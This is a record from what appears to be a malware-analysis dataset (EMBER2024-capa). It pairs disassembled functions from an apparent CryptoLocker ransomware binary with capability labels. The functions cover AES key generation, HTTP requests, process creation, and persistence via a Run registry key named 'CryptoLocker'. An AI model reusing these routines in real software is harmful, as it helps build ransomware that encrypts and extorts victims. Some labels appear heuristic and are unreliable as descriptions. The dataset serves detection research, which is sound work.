joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405880
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
cmp ecx, 0xd
ja case.default.0x405891
jmp dword [ecx*4 + 0x405a2c]
mov edi, 0x411478
mov esi, 0x1a
jmp 0x405943
mov edi, 0x411488
mov esi, 0x1c
jmp 0x405943
mov edi, 0x411498
or esi, 0xffffffff
jmp 0x405943
mov edi, 0x4114a8
mov esi, 0x20
jmp 0x405943
mov edi, 0x4114b8
mov esi, 0x21
jmp 0x405943
mov edi, 0x4114e8
mov esi, 0x28
jmp 0x405943
mov edi, 0x411448
mov esi, 0x10
jmp 0x405943
mov edi, 0x411458
mov esi, 0x15
jmp 0x405943
mov edi, 0x411468
mov esi, 0x2d
jmp 0x405943
mov edi, 0x411518
mov esi, 0x26
jmp 0x405943
mov edi, 0x4114f8
mov esi, 0x2a
jmp 0x405943
mov edi, 0x411508
or esi, 0xffffffff
jmp 0x405943
mov edi, 0x4114c8
mov esi, 0x25
jmp 0x405943
mov edi, 0x4114d8
mov esi, 0x24
mov eax, dword [0x4161ac]
push ebx
mov ebx, dword [ebp + 0xc]
test eax, eax
jne 0x405980
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x405974
push str.SHGetKnownFolderPath
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4161ac], eax
test eax, eax
jne 0x405980
mov dword [0x4161ac], 0xffffffff
jmp 0x405985
cmp eax, 0xffffffff
jne 0x4059ba
push 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0xffffffff
je 0x405a0b
push ebx
push 0
push 0
or esi, 0x3000
push esi
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x405a0b
push ebx
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashW]
pop ebx
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 4]
push ecx
push 0
push 0x1000
push edi
call eax
test eax, eax
jne 0x405a0b
mov ecx, dword [ebp - 4]
xor esi, esi
test ebx, ebx
mov eax, 0x80070057
cmove esi, eax
test esi, esi
js 0x405a00
test ecx, ecx
push ecx
mov eax, 0x4121f4
cmovne eax, ecx
push eax
lea eax, [ebp - 8]
push eax
mov edx, 0x104
mov ecx, ebx
call fcn.0040c370
mov ecx, dword [ebp - 4]
mov esi, eax
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
test esi, esi
jmp 0x4059a8
xor eax, eax
mov word [ebx], ax
pop ebx
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
xor ecx, ecx
pop edi
mov word [eax], cx
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407140
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
push esi
add eax, 0xffffffdf
push edi
mov dword [ebp - 4], ecx
mov edi, 0x115
mov edx, 1
cmp eax, 7
ja case.default.0x407164
jmp dword [eax*4 + 0x40724c]
xor esi, esi
mov edi, 0x114
xor edx, edx
jmp 0x4071a3
mov esi, edx
mov edi, 0x114
xor edx, edx
jmp 0x4071a3
xor esi, esi
jmp 0x4071a3
mov esi, edx
jmp 0x4071a3
mov esi, 2
jmp 0x4071a3
mov esi, 3
jmp 0x4071a3
mov esi, 6
jmp 0x4071a3
mov esi, 7
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x20], 0x1c
mov dword [ebp - 0x1c], 3
mov eax, dword [eax + 4]
push edx
push dword [eax + ecx + 8]
call dword [sym.imp.USER32.dll_GetScrollInfo]
test eax, eax
je case.default.0x407164
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x10], eax
setl al
test al, al
je case.default.0x407164
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
push 0x11
call ebx
mov ecx, 0x8000
test cx, ax
jne 0x407237
push 0x10
call ebx
mov ecx, 0x8000
test cx, ax
jne 0x407237
push 0x12
call ebx
mov ecx, 0x8000
test cx, ax
jne 0x407237
cmp byte [ebp + 0xc], 0
jne 0x40722c
mov ecx, dword [ebp - 4]
push 0
movzx eax, si
push eax
mov eax, dword [ecx + 4]
push edi
mov eax, dword [eax + 4]
push dword [eax + ecx + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
pop ebx
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 8
pop ebx
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 8
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x407730
Capabilities:
Encrypt data using aes via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ecx]
push ebx
mov eax, dword [eax + 0x20]
push esi
push edi
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
call eax
test al, al
je 0x407891
mov eax, dword [ebp - 0xc]
sub eax, 0
je 0x407791
dec eax
jne 0x407891
mov edi, 0xa400
mov esi, 0x800000
jmp 0x407798
mov edi, 0x660e
xor esi, esi
lea ecx, [ebp - 0xc]
call fcn.00404620
test al, al
je 0x407891
mov eax, dword [ebp - 4]
test eax, eax
je 0x4077b6
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
lea eax, [ebp - 4]
push eax
or esi, 1
push esi
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
jne 0x4077d4
mov dword [ebp - 4], eax
jmp 0x407891
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0xc]
lea eax, [edi + 4]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.00404960
mov dword [edi], eax
test eax, eax
je 0x407891
mov esi, dword [ebp + 0xc]
push esi
push 8
lea ecx, [ebp - 0xc]
call fcn.004047c0
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
test al, al
jne 0x407813
mov dword [esi], 0
jmp 0x40786f
cmp dword [esi + 4], 0xc
mov eax, dword [esi]
jbe 0x40786f
cmp dword [eax + 8], 0x10
jne 0x40786f
lea ecx, [ebp + 8]
push ecx
push 0x10
add eax, 0xc
push eax
lea ecx, [ebp - 0x18]
call fcn.00404960
mov dword [ebp + 0x14], eax
test eax, eax
je 0x40786f
push dword [ebp + 8]
lea edx, [edi + 4]
push eax
mov ecx, edi
call fcn.0040c970
add esp, 8
test eax, eax
push dword [ebp + 0x14]
setne bl
push 0
push dword [0x41623c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test bl, bl
je 0x407869
mov bl, 1
jmp 0x407893
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esi]
test eax, eax
je 0x407880
push eax
push 0
push dword [0x41623c]
call ebx
mov eax, dword [edi]
test eax, eax
je 0x407891
push eax
push 0
push dword [0x41623c]
call ebx
xor bl, bl
cmp dword [ebp - 0x18], 1
mov esi, dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov edi, dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
ja 0x4078bb
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4078af
push eax
call edi
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x4078bb
push 0
push eax
call esi
cmp dword [ebp - 0xc], 1
ja 0x4078d7
mov eax, dword [ebp - 4]
test eax, eax
je 0x4078cb
push eax
call edi
mov eax, dword [ebp - 8]
test eax, eax
je 0x4078d7
push 0
push eax
call esi
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x408250
Capabilities:
Initialize winhttp library

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
xor esi, esi
call fcn.00408160
mov ebx, eax
test ebx, ebx
je 0x408284
sub esp, 8
mov edx, ebx
call fcn.00408980
add esp, 8
mov esi, eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push dword [0x41623c]
call ebx
jmp 0x40828a
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push 0
push 0
push 1
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [edi + 8], eax
test esi, esi
je 0x4082ab
push esi
push 0
push dword [0x41623c]
call ebx
mov ecx, dword [edi + 8]
test ecx, ecx
jne 0x4082ba
pop edi
pop esi
xor al, al
pop ebx
ret 0x10
mov eax, dword [0x416200]
test eax, eax
je 0x4082cc
push edi
push ecx
push 2
call eax
add esp, 0xc
pop edi
pop esi
mov al, 1
pop ebx
ret 0x10

Function at 0x408340
Capabilities:
Prepare http request
Set http header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov eax, dword [esi]
test eax, eax
je 0x40835a
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [esi], 0
mov ebx, dword [ebp + 0x1c]
test bl, 1
mov eax, 0x412530
mov ecx, str.POST
cmove ecx, eax
mov edx, 0x800100
mov eax, 0x100
test bl, 4
cmovne eax, edx
push eax
push 0x412574
push 0
push str.HTTP_1.1
push dword [ebp + 8]
push ecx
push dword [esi + 4]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [esi], eax
test eax, eax
je 0x4083f5
test bl, 2
jne 0x4083b5
push 0xa0000000
push 0x13
push str.Connection:_Close_r_n
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
mov eax, dword [0x416200]
test eax, eax
je 0x4083c8
push esi
push dword [esi]
push 0
call eax
add esp, 0xc
push 0
push dword [ebp + 0x18]
push 0
push 0
push 0
push 0
push dword [esi]
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
cmp eax, 1
je 0x4083fd
mov eax, dword [esi]
test eax, eax
je 0x4083f5
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [esi], 0
pop esi
xor al, al
pop ebx
pop ebp
ret 0x18
pop esi
mov al, 1
pop ebx
pop ebp
ret 0x18
Function at 0x408410
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
mov dword [ebp - 0xc], ebx
test edi, edi
je 0x40842c
xorps xmm0, xmm0
movq qword [edi], xmm0
test byte [0x41622c], 1
mov dword [ebp - 8], 0
jne 0x408477
push 0x416f0c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test byte [0x41622c], 1
jne 0x40846c
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
or byte [0x41622c], 1
mov dword [0x41623c], eax
mov dword [0x416230], 0x40c790
push 0x416f0c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x1000
push 0
push dword [0x41623c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [ebp + 8], esi
test esi, esi
jne 0x4084a6
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 0x10]
jmp 0x4084b3
mov ebx, dword [ebp - 0xc]
test eax, eax
je 0x4084cb
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4085c7
lea eax, [ebp - 4]
push eax
push 0x1000
push esi
push dword [ebx]
mov dword [ebp - 4], 0x1000
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x4085f9
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4085df
mov eax, dword [ebp - 8]
add eax, ebx
mov dword [ebp - 8], eax
cmp eax, 0x19000
ja 0x4085d8
mov eax, dword [ebp + 0x10]
test edi, edi
je 0x4084b0
mov esi, dword [edi + 4]
mov eax, dword [edi]
add esi, ebx
jne 0x408534
test eax, eax
je 0x40852c
push eax
push esi
push dword [0x41623c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [edi], 0
jmp 0x4085a3
test eax, eax
jne 0x40858d
test byte [0x41622c], 1
jne 0x40857c
push 0x416f0c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test byte [0x41622c], 1
jne 0x408571
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
or byte [0x41622c], 1
mov dword [0x41623c], eax
mov dword [0x416230], 0x40c790
push 0x416f0c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
push 0
push dword [0x41623c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x40859d
push esi
push eax
push 0
push dword [0x41623c]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x4085ce
mov dword [edi], eax
mov esi, dword [edi]
add esi, dword [edi + 4]
push ebx
push dword [ebp + 8]
push esi
call sub.msvcrt.dll_memcpy
add dword [edi + 4], ebx
add esp, 0xc
test esi, esi
je 0x4085ce
mov esi, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
jmp 0x4084b0
mov ebx, 0x3e3
jmp 0x4085fb
mov esi, dword [ebp + 8]
mov ebx, 8
jmp 0x4085fb
mov ebx, 0x7a
jmp 0x4085fb
push esi
push 0
push dword [0x41623c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc
xor ebx, ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push dword [0x41623c]
call esi
test edi, edi
je 0x408621
mov eax, dword [edi]
test eax, eax
je 0x408621
push eax
push 0
push dword [0x41623c]
call esi
test ebx, ebx
je 0x40862c
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x408d30
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 8], ecx
test esi, esi
jns 0x408d4a
test ebx, ebx
jne 0x408dc5
xor esi, esi
lea eax, [esi + esi]
mov dword [ebp + 8], eax
add eax, 2
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x408de9
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edi, eax
test edi, edi
je 0x408df1
push dword [ebp + 8]
push ebx
push edi
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp + 8]
add esp, 0xc
xor ecx, ecx
push esi
mov word [eax + edi], cx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x408df1
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
setne bl
call dword [sym.imp.USER32.dll_CloseClipboard]
test bl, bl
je 0x408df1
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
mov edx, 0x7fffffff
mov ecx, ebx
call fcn.0040c2c0
mov esi, dword [ebp - 4]
xor ecx, ecx
test eax, eax
cmovs esi, ecx
jne 0x408de9
test esi, esi
jns 0x408d4a
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408f10
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
mov esi, dword [ebp + 0x14]
xorps xmm0, xmm0
push edi
mov edi, edx
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x10], xmm0
mov dword [ebp - 8], 0
test esi, esi
jne 0x408f4d
push 0x44
lea eax, [ebp - 0x5c]
push esi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x5c], 0x44
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x5c]
test esi, esi
cmovne eax, esi
push eax
push dword [ebp + 0x10]
movzx eax, byte [ebp + 8]
push 0
push 0x4000000
push eax
push 0
push 0
push edi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x408f80
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0x18]
test eax, eax
je 0x408fa3
movq xmm0, qword [ebp - 0x14]
movq qword [eax], xmm0
movq xmm0, qword [ebp - 0xc]
movq qword [eax + 8], xmm0
mov eax, dword [ebp - 0xc]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409010
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov bl, byte [ebp - 0xc]
push esi
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 3
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
and bl, 0xfe
push 0x80000001
or bl, 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4090b3
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp - 4]
test edi, edi
je 0x409084
lea eax, [ebp - 8]
push eax
mov edx, 0x7fffffff
mov ecx, edi
call fcn.0040c2c0
mov ecx, dword [ebp - 8]
xor edx, edx
test eax, eax
cmovs ecx, edx
jne 0x40907d
test ecx, ecx
js 0x40907d
je 0x409084
lea ecx, [ecx*2 + 2]
jmp 0x409086
mov edi, 0xd
jmp 0x40909a
xor ecx, ecx
push ecx
push edi
push 1
push 0
push str.CryptoLocker
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
test esi, esi
je 0x4090b1
test bl, 1
je 0x4090aa
push esi
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4090c0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov bl, byte [ebp - 8]
push esi
push edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0x103
push 0
push 0
push 0
push str.SoftwareCryptoLockerFiles
and bl, 0xfe
push 0x80000001
or bl, 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40912d
mov esi, dword [ebp - 4]
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
test esi, esi
je 0x40912b
test bl, 1
je 0x409124
push esi
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409140
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
mov ebx, ecx
push edi
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40928d
jmp 0x409170
mov eax, dword [ebp - 4]
test eax, eax
je 0x409279
lea esi, [eax + 2]
test esi, esi
je 0x40926b
test byte [0x41622c], 1
jne 0x4091ca
push 0x416f0c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test byte [0x41622c], 1
jne 0x4091bf
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
or byte [0x41622c], 1
mov dword [0x41623c], eax
mov dword [0x416230], 0x40c790
push 0x416f0c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
push 0
push dword [0x41623c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x40926b
lea eax, [ebp - 4]
push eax
push esi
push 0
push 0
push edi
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, eax
test edi, edi
je 0x409244
push esi
push 0
push dword [0x41623c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp edi, 0xea
jne 0x409239
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push edi
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x409170
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
mov byte [esi + eax], 0
mov eax, dword [ebp - 4]
pop edi
mov byte [esi + eax + 1], 0
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
mov eax, dword [ebp - 4]
pop esi
mov dword [ecx], eax
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
pop edi
pop esi
mov eax, 8
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
mov eax, dword [ebp + 0x14]
mov dword [eax], 0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4092a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
push edi
mov eax, dword [esi]
mov edi, dword [ebp + 0xc]
add eax, eax
mov dword [ebp + 0x10], eax
lea eax, [ebp + 0x10]
push eax
push edi
lea eax, [ebp + 0xc]
push eax
push 0
push str.CryptoLocker
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x409331
mov ecx, dword [ebp + 0x10]
test cl, 1
jne 0x40932c
mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x4092e3
cmp eax, 2
jne 0x40932c
test ecx, ecx
jne 0x4092f4
xor eax, eax
mov word [edi], ax
pop edi
mov dword [esi], eax
pop esi
pop ebp
ret 0xc
shr ecx, 1
dec ecx
cmp word [edi + ecx*2], 0
je 0x409309
inc ecx
cmp dword [esi], ecx
jbe 0x409321
xor eax, eax
mov word [edi + ecx*2], ax
xor eax, eax
mov edx, 0xd
cmp ecx, 0x7fffffff
pop edi
mov dword [esi], ecx
cmovge eax, edx
pop esi
pop ebp
ret 0xc
pop edi
mov eax, 0xea
pop esi
pop ebp
ret 0xc
mov eax, 0xd
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x4093a0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
push edi
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], ecx
test edx, edx
jne 0x4093c0
lea eax, [edx + 0x57]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
mov bl, byte [ebp - 0x18]
or eax, 9
xor edi, edi
and bl, 0xfe
test al, 6
jne 0x4093d7
and bl, 0xfe
jmp 0x4093dd
or eax, 1
or bl, 1
lea esi, [ebp - 0xc]
push esi
push eax
push 0
push edx
push ecx
mov byte [ebp - 5], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
cmove edi, dword [ebp - 0xc]
jne 0x40950a
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov esi, eax
test esi, esi
jne 0x40950a
mov eax, dword [ebp - 0x10]
inc eax
lea ebx, [ebp - 0x21c]
mov dword [ebp - 0x10], eax
cmp eax, 0x100
jbe 0x409457
lea ecx, [eax + eax]
test ecx, ecx
je 0x409502
call fcn.0040c800
mov ebx, eax
test ebx, ebx
je 0x409502
mov eax, dword [ebp - 0x10]
push 0
push 0
push 0
push 0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push ebx
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov esi, eax
test esi, esi
jne 0x4094a8
push dword [ebp + 8]
mov edx, ebx
mov ecx, edi
call fcn.004093a0
mov esi, eax
add esp, 4
test esi, esi
jne 0x4094a8
mov eax, dword [ebp - 0x10]
push esi
push esi
push esi
push esi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push ebx
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov esi, eax
test esi, esi
je 0x409476
lea eax, [ebp - 0x21c]
cmp ebx, eax
je 0x4094c5
test ebx, ebx
je 0x4094c5
push ebx
push 0
push dword [0x41623c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
cmp esi, 0x103
cmove esi, eax
test byte [ebp - 5], 1
je 0x4094dd
push edi
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x409521
push dword [ebp + 8]
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
call fcn.00409340
add esp, 4
mov esi, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov bl, byte [ebp - 5]
mov esi, 8
test edi, edi
je 0x409521
test bl, 1
je 0x40951a
push edi
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409540
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [edi + 8], 0
jne 0x4095b9
mov eax, 0x409530
test eax, eax
je 0x4095b9
mov eax, dword [edi]
lea ecx, [edi + 4]
lea edx, [eax*4 + 4]
call fcn.0040c860
test al, al
je 0x4095b9
lea eax, [ebp - 4]
push eax
push 4
push dword [ebp + 0x10]
push 0x409530
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4095b9
mov edx, dword [edi]
mov ecx, dword [edi + 4]
push eax
mov dword [ecx + edx*4], eax
inc dword [edi]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10